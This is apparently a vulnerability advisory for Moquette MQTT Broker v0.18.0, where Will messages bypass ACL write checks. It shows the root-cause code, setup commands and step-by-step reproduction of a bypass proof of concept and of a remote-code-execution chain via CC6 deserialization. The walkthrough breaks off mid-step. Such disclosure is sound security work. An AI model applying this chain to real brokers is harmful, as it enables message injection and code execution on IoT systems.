CVE-2026-85058

Summary

Moquette MQTT Broker fails to enforce ACL write permission checks when publishing Will (Last Will and Testament) messages on behalf of disconnected clients. All normal PUBLISH paths (receivedPublishQos0, receivedPublishQos1, receivedPublishQos2) correctly invoke authorizator.canWrite() before publishing, but the Will message publishing path (fireWill() → publishWill() → publish2Subscribers()) completely bypasses this authorization check.

This allows an unauthenticated attacker (when allow_anonymous=true, which is the default) to inject arbitrary messages into any ACL-protected topic by setting a restricted topic as the Will Topic in the CONNECT packet and then disconnecting abruptly via TCP RST.

Other major MQTT Broker implementations (Mosquitto, EMQX, HiveMQ) correctly enforce ACL checks on Will messages, confirming this is a bug, not a design choice.

Details

In the MQTT protocol, a client can declare a "Will" topic and message in the CONNECT packet. When the client disconnects abnormally (without sending a DISCONNECT packet), the Broker publishes the Will message on behalf of the client. Although the Will message content (topic and payload) is entirely controlled by the connecting client — making it functionally equivalent to a PUBLISH — Moquette skips the ACL check for this path.

Root Cause

File: broker/src/main/java/io/moquette/broker/PostOffice.java (v0.18.0)

Will publishing path (lines 286-328) — no canWrite() check:

public void fireWill(Session bindedSession) {
    final ISessionsRepository.Will will = bindedSession.getWill();
    if (will.delayInterval == 0) {
        publishWill(will);  // No canWrite() check!
    } else {
        trackWillSpecificationForFutureFire(...);
    }
}

private void publishWill(ISessionsRepository.Will will) {
    // ... build message ...
    publish2Subscribers(WILL_PUBLISKER, messageExpiryInstant, willPublishMessage);
    // No canWrite() check!
}

Normal PUBLISH path (line 641) — has canWrite() check:

if (!authorizator.canWrite(topic, username, clientID)) {
    LOG.error("client is not authorized to publish on topic: {}", topic);
    return;
}

Additionally, SessionRegistry.createNewWill() (line 408-428) stores the Will topic from the CONNECT packet without any canWrite() pre-check. The fireWill()/publishWill() method is the only publishing path that does not invoke authorizator.canWrite(), creating a complete authorization bypass.

Prerequisites

Condition	Who controls	Default?	Notes
Attacker can establish MQTT connection to Broker	Environment	Yes	allow_anonymous defaults to true
Broker has ACL restricting topic write access	Application	No	Only deployments with ACL configured have "bypass" significance, but this is a normal security deployment
Client disconnects abnormally (TCP RST, not DISCONNECT)	Attacker	Yes	Attacker simply closes the TCP connection

PoC

Verified against Moquette Broker v0.18.0 (latest release as of 2024-12-27). All scripts are included in the attached GitHub_Advisory_POC.zip. GitHub_Advisory_POC.zip

Environment Setup

Step 1: Download Moquette Broker v0.18.0

Download the official release bundle from GitHub and extract:

curl -L -o /tmp/moquette-0.18-bundle.tar.gz "https://github.com/moquette-io/moquette/releases/download/v0.18.0/distribution-0.18-bundle.tar.gz"
mkdir -p /tmp/moquette-0.18
tar xzf /tmp/moquette-0.18-bundle.tar.gz -C /tmp/moquette-0.18

Step 2: Configure ACL rules

Replace /tmp/moquette-0.18/config/acl.conf with the provided acl.conf (from POC zip), which contains:

# acl.conf - restrict write access to restricted/topic
topic write allowed/topic
topic read restricted/topic

Note: Must use topic rules (not pattern rules). Moquette's AuthorizationsCollector.canDoOperation() skips pattern rules when username is null (anonymous users), because isNotEmpty(null) returns false.

Edit /tmp/moquette-0.18/config/moquette.conf to ensure ACL is enabled. Use the provided moquette.conf (from POC zip) as reference:

# moquette.conf
port 1883
host 0.0.0.0
allow_anonymous true
acl_file config/acl.conf

Step 3: Download dependency and compile POC scripts

Download commons-collections-3.2.1.jar (required by CC6 deserialization chain) and compile the POC Java sources (all from POC zip):

# Download commons-collections (required for CC6 RCE POC only)
# Place commons-collections-3.2.1.jar in /tmp/

# Compile POC scripts
cd /tmp
javac -cp /tmp/commons-collections-3.2.1.jar CC6PayloadGen.java          # CC6 deserialization payload generator
javac -cp /tmp/commons-collections-3.2.1.jar AttackerCC6_v018.java       # Attacker-side full POC (Will bypass + CC6 RCE)
javac MqttDeviceService_v018.java                                         # Victim-side IoT subscriber service

Scripts overview:

Script	Language	Purpose
poc_will_bypass.py	Python	Lightweight Will ACL bypass verification (no Java/deserialization dependency)
AttackerCC6_v018.java	Java	Full attacker POC: generates CC6 payload, verifies ACL blocks direct PUBLISH, bypasses ACL via Will, verifies victim-side RCE
CC6PayloadGen.java	Java	CC6 deserialization payload generator (dependency of AttackerCC6_v018)
MqttDeviceService_v018.java	Java	Victim-side IoT device subscriber — subscribes to restricted/topic, deserializes received messages via ObjectInputStream.readObject()
MoquetteWillAclBypassPoc.java	Java	Standalone pure-Java POC for v0.15 (no external dependencies, verifies Will ACL bypass only)
acl.conf	Config	ACL rules — restricted/topic read-only, no write
moquette.conf	Config	Broker configuration — enables ACL, allows anonymous

Reproduction — Will ACL Bypass Only (Python, no dependencies)

This verifies the core vulnerability: Will message bypasses ACL. Uses poc_will_bypass.py.

Terminal 1 — Start the Broker (using Moquette's built-in main class io.moquette.broker.Server):

cd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server

Wait for "Server started" log.

Terminal 2 — Run POC:

python3 poc_will_bypass.py

This script automatically performs:

1. Subscriber connects and subscribes to restricted/topic
2. Verifies direct PUBLISH to restricted/topic is blocked by ACL
3. Attacker connects with Will Topic=restricted/topic, then RST-disconnects
4. Checks if subscriber received the Will message on the restricted topic

Expected output:

[Step 1] Direct PUBLISH to restricted/topic (should be blocked)
  [+] No message - ACL blocking direct PUBLISH (expected)

[Step 2] Will ACL Bypass on v0.18.0
  SUBACK: 9003000100
  Attacker connected, Will set to 'restricted/topic'
  RST disconnecting attacker...
  [!!!] WILL MESSAGE RECEIVED on restricted/topic!
  [!!!] VULNERABILITY CONFIRMED on Moquette v0.18.0!

Reproduction — Full RCE Chain (Will Bypass + CC6 Deserialization)

This demonstrates the real-world impact: Will bypass + Java deserialization = Remote Code Execution. Uses AttackerCC6_v018.java, CC6PayloadGen.java, and MqttDeviceService_v018.java.

Terminal 1 — Start the Broker (using Moquette's built-in main class io.moquette.broker.Server):

cd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server

Wait for "Server started" log.

Terminal 2 — Start victim subscriber (MqttDeviceService_v018.java):

cd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar MqttDeviceService_v018 localhost 1883

This simulates an IoT device that subscribes to restricted/topic and deserializes received messages via ObjectInputStream.readObject(). Wait for:

[等待中]